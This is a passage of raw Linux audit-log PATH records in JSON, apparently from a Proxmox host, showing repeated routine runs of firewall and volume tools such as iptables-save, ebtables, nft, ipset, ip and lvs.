msg=audit(1781964305.969:60455): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305965,"@rawstring":"node=pve type=PATH msg=audit(1781964305.965:60454): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305965,"@rawstring":"node=pve type=PATH msg=audit(1781964305.965:60454): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305963,"@rawstring":"node=pve type=PATH msg=audit(1781964305.963:60453): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305963,"@rawstring":"node=pve type=PATH msg=audit(1781964305.963:60453): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305963,"@rawstring":"node=pve type=PATH msg=audit(1781964305.963:60452): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305958,"@rawstring":"node=pve type=PATH msg=audit(1781964305.958:60451): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305958,"@rawstring":"node=pve type=PATH msg=audit(1781964305.958:60451): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305958,"@rawstring":"node=pve type=PATH msg=audit(1781964305.958:60451): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305948,"@rawstring":"node=pve type=PATH msg=audit(1781964305.948:60450): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305948,"@rawstring":"node=pve type=PATH msg=audit(1781964305.948:60450): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305939,"@rawstring":"node=pve type=PATH msg=audit(1781964305.939:60449): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305939,"@rawstring":"node=pve type=PATH msg=audit(1781964305.939:60449): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305932,"@rawstring":"node=pve type=PATH msg=audit(1781964305.932:60448): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305932,"@rawstring":"node=pve type=PATH msg=audit(1781964305.932:60448): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305922,"@rawstring":"node=pve type=PATH msg=audit(1781964305.922:60447): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305922,"@rawstring":"node=pve type=PATH msg=audit(1781964305.922:60447): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305913,"@rawstring":"node=pve type=PATH msg=audit(1781964305.913:60446): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964305913,"@rawstring":"node=pve type=PATH msg=audit(1781964305.913:60446): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964304240,"@rawstring":"node=pve type=PATH msg=audit(1781964304.240:60445): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964304240,"@rawstring":"node=pve type=PATH msg=audit(1781964304.240:60445): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964304200,"@rawstring":"node=pve type=PATH msg=audit(1781964304.200:60444): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964304200,"@rawstring":"node=pve type=PATH msg=audit(1781964304.200:60444): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964303673,"@rawstring":"node=pve type=PATH msg=audit(1781964303.673:60443): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964303673,"@rawstring":"node=pve type=PATH msg=audit(1781964303.673:60443): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964303673,"@rawstring":"node=pve type=PATH msg=audit(1781964303.673:60442): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964303673,"@rawstring":"node=pve type=PATH msg=audit(1781964303.673:60441): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964303664,"@rawstring":"node=pve type=PATH msg=audit(1781964303.664:60440): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964303664,"@rawstring":"node=pve type=PATH msg=audit(1781964303.664:60440): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964303664,"@rawstring":"node=pve type=PATH msg=audit(1781964303.664:60439): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964303664,"@rawstring":"node=pve type=PATH msg=audit(1781964303.664:60438): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964298651,"@rawstring":"node=pve type=PATH msg=audit(1781964298.651:60437): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964298651,"@rawstring":"node=pve type=PATH msg=audit(1781964298.651:60437): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964298651,"@rawstring":"node=pve type=PATH msg=audit(1781964298.651:60436): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964298650,"@rawstring":"node=pve type=PATH msg=audit(1781964298.650:60435): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964298641,"@rawstring":"node=pve type=PATH msg=audit(1781964298.641:60434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964298641,"@rawstring":"node=pve type=PATH msg=audit(1781964298.641:60434): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964298641,"@rawstring":"node=pve type=PATH msg=audit(1781964298.641:60433): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964298641,"@rawstring":"node=pve type=PATH msg=audit(1781964298.641:60432): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295900,"@rawstring":"node=pve type=PATH msg=audit(1781964295.900:60431): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295900,"@rawstring":"node=pve type=PATH msg=audit(1781964295.900:60431): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295896,"@rawstring":"node=pve type=PATH msg=audit(1781964295.896:60430): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295896,"@rawstring":"node=pve type=PATH msg=audit(1781964295.896:60430): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295896,"@rawstring":"node=pve type=PATH msg=audit(1781964295.896:60429): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295896,"@rawstring":"node=pve type=PATH msg=audit(1781964295.896:60429): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295896,"@rawstring":"node=pve type=PATH msg=audit(1781964295.896:60428): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295890,"@rawstring":"node=pve type=PATH msg=audit(1781964295.890:60427): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295890,"@rawstring":"node=pve type=PATH msg=audit(1781964295.890:60427): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295890,"@rawstring":"node=pve type=PATH msg=audit(1781964295.890:60427): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295882,"@rawstring":"node=pve type=PATH msg=audit(1781964295.882:60426): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295882,"@rawstring":"node=pve type=PATH msg=audit(1781964295.882:60426): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295875,"@rawstring":"node=pve type=PATH msg=audit(1781964295.875:60425): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295875,"@rawstring":"node=pve type=PATH msg=audit(1781964295.875:60425): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295868,"@rawstring":"node=pve type=PATH msg=audit(1781964295.868:60424): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295868,"@rawstring":"node=pve type=PATH msg=audit(1781964295.868:60424): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295861,"@rawstring":"node=pve type=PATH msg=audit(1781964295.861:60423): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295861,"@rawstring":"node=pve type=PATH msg=audit(1781964295.861:60423): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295855,"@rawstring":"node=pve type=PATH msg=audit(1781964295.855:60421): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295855,"@rawstring":"node=pve type=PATH msg=audit(1781964295.855:60421): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295850,"@rawstring":"node=pve type=PATH msg=audit(1781964295.850:60420): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295850,"@rawstring":"node=pve type=PATH msg=audit(1781964295.850:60420): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295845,"@rawstring":"node=pve type=PATH msg=audit(1781964295.845:60419): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295845,"@rawstring":"node=pve type=PATH msg=audit(1781964295.845:60419): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295838,"@rawstring":"node=pve type=PATH msg=audit(1781964295.838:60418): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295838,"@rawstring":"node=pve type=PATH msg=audit(1781964295.838:60418): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295832,"@rawstring":"node=pve type=PATH msg=audit(1781964295.832:60417): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295832,"@rawstring":"node=pve type=PATH msg=audit(1781964295.832:60417): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295827,"@rawstring":"node=pve type=PATH msg=audit(1781964295.827:60416): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295827,"@rawstring":"node=pve type=PATH msg=audit(1781964295.827:60416): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295819,"@rawstring":"node=pve type=PATH msg=audit(1781964295.819:60415): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295819,"@rawstring":"node=pve type=PATH msg=audit(1781964295.819:60415): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295813,"@rawstring":"node=pve type=PATH msg=audit(1781964295.813:60414): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295813,"@rawstring":"node=pve type=PATH msg=audit(1781964295.813:60414): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295810,"@rawstring":"node=pve type=PATH msg=audit(1781964295.810:60413): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295810,"@rawstring":"node=pve type=PATH msg=audit(1781964295.810:60413): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295806,"@rawstring":"node=pve type=PATH msg=audit(1781964295.806:60412): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295806,"@rawstring":"node=pve type=PATH msg=audit(1781964295.806:60412): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295804,"@rawstring":"node=pve type=PATH msg=audit(1781964295.804:60411): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295804,"@rawstring":"node=pve type=PATH msg=audit(1781964295.804:60411): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295804,"@rawstring":"node=pve type=PATH msg=audit(1781964295.804:60410): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295800,"@rawstring":"node=pve type=PATH msg=audit(1781964295.800:60409): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295800,"@rawstring":"node=pve type=PATH msg=audit(1781964295.800:60409): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295800,"@rawstring":"node=pve type=PATH msg=audit(1781964295.800:60409): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295793,"@rawstring":"node=pve type=PATH msg=audit(1781964295.793:60408): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295793,"@rawstring":"node=pve type=PATH msg=audit(1781964295.793:60408): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295786,"@rawstring":"node=pve type=PATH msg=audit(1781964295.786:60407): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295786,"@rawstring":"node=pve type=PATH msg=audit(1781964295.786:60407): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295781,"@rawstring":"node=pve type=PATH msg=audit(1781964295.781:60406): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295781,"@rawstring":"node=pve type=PATH msg=audit(1781964295.781:60406): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295774,"@rawstring":"node=pve type=PATH msg=audit(1781964295.774:60405): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295774,"@rawstring":"node=pve type=PATH msg=audit(1781964295.774:60405): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295766,"@rawstring":"node=pve type=PATH msg=audit(1781964295.766:60404): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964295766,"@rawstring":"node=pve type=PATH msg=audit(1781964295.766:60404): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964294127,"@rawstring":"node=pve type=PATH msg=audit(1781964294.127:60403): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964294127,"@rawstring":"node=pve type=PATH msg=audit(1781964294.127:60403): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 